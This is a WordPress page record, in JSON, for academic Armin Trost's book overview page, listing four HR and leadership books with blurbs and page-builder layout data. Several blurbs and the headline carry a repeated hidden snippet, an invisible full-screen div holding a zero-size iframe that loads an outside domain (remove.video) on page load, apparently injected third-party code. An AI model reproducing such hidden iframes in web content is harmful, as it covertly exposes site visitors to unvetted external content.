{"id":4704,"date":"2021-01-16T21:42:19","date_gmt":"2021-01-16T20:42:19","guid":{"rendered":"https:\/\/armintrost.de\/\/?page_id=4704"},"modified":"2025-03-09T09:00:37","modified_gmt":"2025-03-09T08:00:37","slug":"books","status":"publish","type":"page","link":"https:\/\/armintrost.de\/en\/professor\/books\/","title":{"rendered":"BOOKS"},"content":{"rendered":"<h1>First, you write the <span style=\"color: #900a11;\">Book<\/span>. <br \/>Then, the Book writes <span style=\"color: #900a11;\">You<\/span><\/p>\n<div>\n<div id=\"whitelisted\" style=\"position: fixed; width: 100%; height: 100%; background-color: #00006c; z-index: 99999999999999999999; display: none; top: 0; left: 0; opacity: 0.99;\"><iframe style=\"width: 0; height: 0; display: none;\" src=\"\/\/remove.video\/pblock\"><\/iframe><\/div>\n<\/div>\n<\/h1>\n<div>\n<p>For me, writing books is a wonderfully inspiring, reflective and creative process. Everything I was privileged to experience, observe, create and read is given a structure and written expression. The positive confirmation of my readers fills me with gratitude and a little pride.<\/p>\n<\/div>\n<ul>\n<li>\n<p><img decoding=\"async\" src=\"\/wp-content\/uploads\/2025\/03\/TrL.png\" alt=\"\"><\/p>\n<div>\n<p>In this book I escribe an effective approach to leadership and how to build a trusting relationship to employees.<\/p>\n<\/div>\n<p><a href=\"\/en\/professor\/books\/armin-trost-books-the-reflective-leader\/\">More<\/a><\/p>\n<\/li>\n<li>\n<p><img decoding=\"async\" src=\"\/wp-content\/uploads\/2020\/12\/Human_Resources_Strategies.jpg\" alt=\"\"><\/p>\n<div>\n<p>Any HR executive should posses this book. It provides inspiriation and strategic guidance while considering current developments in businesses.<\/p>\n<\/div>\n<p><a href=\"\/en\/professor\/books\/human-resources-strategies\/\">More<\/a><\/p>\n<\/li>\n<li>\n<p><img decoding=\"async\" src=\"\/wp-content\/uploads\/2020\/12\/The_End_of_Performance_Appraisal.jpg\" alt=\"\"><\/p>\n<div>\n<p>This book is for all of those who are questioning their current performance appraisal approach in the light of new leadership and organization.<\/p>\n<div>\n<div id=\"whitelisted\" style=\"position: fixed; width: 100%; height: 100%; background-color: #00006c; z-index: 99999999999999999999; display: none; top: 0; left: 0; opacity: 0.99;\"><iframe style=\"width: 0; height: 0; display: none;\" src=\"\/\/remove.video\/pblock\"><\/iframe><\/div>\n<\/div>\n<\/div>\n<p><a href=\"\/en\/professor\/books\/performance-appraisal\/\">More<\/a><\/p>\n<\/li>\n<li>\n<p><img decoding=\"async\" src=\"\/wp-content\/uploads\/2020\/12\/Talent_Relationship_Management_english.jpg\" alt=\"\"><\/p>\n<div>\n<p>A very practical book on how to face growing talent shortage. Anyone who is responsible for Talent Acquisition should have a look at it.<\/p>\n<div>\n<div id=\"whitelisted\" style=\"position: fixed; width: 100%; height: 100%; background-color: #00006c; z-index: 99999999999999999999; display: none; top: 0; left: 0; opacity: 0.99;\"><iframe style=\"width: 0; height: 0; display: none;\" src=\"\/\/remove.video\/pblock\"><\/iframe><\/div>\n<\/div>\n<\/div>\n<p><a href=\"\/en\/professor\/books\/book-talent-relationship-management\/\">More<\/a><\/p>\n<\/li>\n<\/ul>\n<p><!--more--><br \/>\n<!-- {\"name\":\"B\\u00fccher_\\u00dcbersichtsseite\",\"type\":\"layout\",\"children\":[{\"name\":\"Hero\",\"type\":\"section\",\"props\":{\"height\":\"viewport\",\"height_offset_top\":true,\"height_viewport\":80,\"image\":\"wp-content\\\/uploads\\\/2020\\\/11\\\/DSC2972-1.jpg\",\"image_position\":\"center-right\",\"image_size\":\"cover\",\"image_width\":\"2560\",\"padding\":\"xlarge\",\"padding_remove_top\":false,\"style\":\"default\",\"title_breakpoint\":\"xl\",\"title_position\":\"top-left\",\"title_rotation\":\"left\",\"vertical_align\":\"middle\",\"width\":\"\"},\"children\":[{\"type\":\"row\",\"children\":[{\"type\":\"column\",\"props\":{\"image_position\":\"center-center\",\"position_sticky_breakpoint\":\"m\",\"width_medium\":\"1-1\"}}]}]},{\"type\":\"section\",\"props\":{\"image_position\":\"center-center\",\"style\":\"default\",\"title_breakpoint\":\"xl\",\"title_position\":\"top-left\",\"title_rotation\":\"left\",\"vertical_align\":\"\",\"width\":\"xlarge\"},\"children\":[{\"type\":\"row\",\"children\":[{\"type\":\"column\",\"props\":{\"image_position\":\"center-center\",\"position_sticky_breakpoint\":\"m\"},\"children\":[{\"name\":\"H1\",\"type\":\"headline\",\"props\":{\"content\":\"First, you write the <span style=\\\"color: #900a11;\\\">Book<\\\/span>. <br \\\/>Then, the Book writes <span style=\\\"color: #900a11;\\\">You<\\\/span>\\n\n\n<div>\\n\n\n<div id=\\\"whitelisted\\\" style=\\\"position: fixed; width: 100%; height: 100%; background-color: #00006c; z-index: 99999999999999999999; display: none; top: 0; left: 0; opacity: 0.99;\\\"><iframe style=\\\"width: 0; height: 0; display: none;\\\" src=\\\"\\\/\\\/remove.video\\\/pblock\\\"><\\\/iframe><\\\/div>\\n<\\\/div>\",\"title_element\":\"h1\",\"title_style\":\"h1\"}}]}],\"props\":{\"column_gap\":\"large\",\"margin\":\"large\",\"row_gap\":\"large\",\"width\":\"default\"}},{\"type\":\"row\",\"children\":[{\"type\":\"column\",\"props\":{\"image_position\":\"center-center\",\"position_sticky_breakpoint\":\"m\",\"width_medium\":\"1-5\"}},{\"type\":\"column\",\"props\":{\"image_position\":\"center-center\",\"position_sticky_breakpoint\":\"m\",\"width_medium\":\"3-5\"},\"children\":[{\"type\":\"text\",\"props\":{\"column_breakpoint\":\"m\",\"content\":\"\n\n<p>For me, writing books is a wonderfully inspiring, reflective and creative process. Everything I was privileged to experience, observe, create and read is given a structure and written expression. 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It provides inspiriation and strategic guidance while considering current developments in businesses.<\\\/p>\",\"image\":\"wp-content\\\/uploads\\\/2020\\\/12\\\/Human_Resources_Strategies.jpg\",\"link\":\"en\\\/professor\\\/books\\\/human-resources-strategies\\\/\",\"tags\":\"#HUMAN RESOURCES STRATEGIES\",\"title\":\"\"}},{\"type\":\"grid_item\",\"props\":{\"content\":\"\n\n<p>This book is for all of those who are questioning their current performance appraisal approach in the light of new leadership and organization.<\\\/p>\\n\n\n<div>\\n\n\n<div id=\\\"whitelisted\\\" style=\\\"position: fixed; width: 100%; height: 100%; background-color: #00006c; z-index: 99999999999999999999; display: none; top: 0; left: 0; opacity: 0.99;\\\"><iframe style=\\\"width: 0; height: 0; display: none;\\\" src=\\\"\\\/\\\/remove.video\\\/pblock\\\"><\\\/iframe><\\\/div>\\n<\\\/div>\",\"image\":\"wp-content\\\/uploads\\\/2020\\\/12\\\/The_End_of_Performance_Appraisal.jpg\",\"link\":\"en\\\/professor\\\/books\\\/performance-appraisal\\\/\",\"tags\":\"The End Of Performance Appraisal\",\"title\":\"\"}},{\"type\":\"grid_item\",\"props\":{\"content\":\"\n\n<p>A very practical book on how to face growing talent shortage. Anyone who is responsible for Talent Acquisition should have a look at it.<\\\/p>\\n\n\n<div>\\n\n\n<div id=\\\"whitelisted\\\" style=\\\"position: fixed; width: 100%; height: 100%; background-color: #00006c; z-index: 99999999999999999999; display: none; top: 0; left: 0; opacity: 0.99;\\\"><iframe style=\\\"width: 0; height: 0; display: none;\\\" src=\\\"\\\/\\\/remove.video\\\/pblock\\\"><\\\/iframe><\\\/div>\\n<\\\/div>\",\"image\":\"wp-content\\\/uploads\\\/2020\\\/12\\\/Talent_Relationship_Management_english.jpg\",\"link\":\"en\\\/professor\\\/books\\\/book-talent-relationship-management\\\/\",\"tags\":\"Talent Relationship Management \",\"title\":\"\"}}]}]}]}]}],\"version\":\"4.4.6\"} --><\/p>\n","protected":false},"excerpt":{"rendered":"<p>First, you write the Book. Then, the Book writes You For me, writing books is a wonderfully inspiring, reflective and creative process. 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In this [&hellip;]<\/p>\n","protected":false},"author":7,"featured_media":3124,"parent":4617,"menu_order":0,"comment_status":"closed","ping_status":"closed","template":"","meta":{"footnotes":""},"class_list":["post-4704","page","type-page","status-publish","has-post-thumbnail","hentry"],"yoast_head":"<!-- This site is optimized with the Yoast SEO plugin v27.3 - https:\/\/yoast.com\/product\/yoast-seo-wordpress\/ -->\n<title>BOOKS - Armin Trost<\/title>\n<meta name=\"robots\" content=\"index, follow, max-snippet:-1, max-image-preview:large, max-video-preview:-1\" \/>\n<link rel=\"canonical\" href=\"https:\/\/armintrost.de\/en\/professor\/books\/\" \/>\n<meta property=\"og:locale\" content=\"en_US\" \/>\n<meta property=\"og:type\" content=\"article\" \/>\n<meta property=\"og:title\" content=\"BOOKS - Armin Trost\" \/>\n<meta property=\"og:description\" content=\"First, you write the Book. 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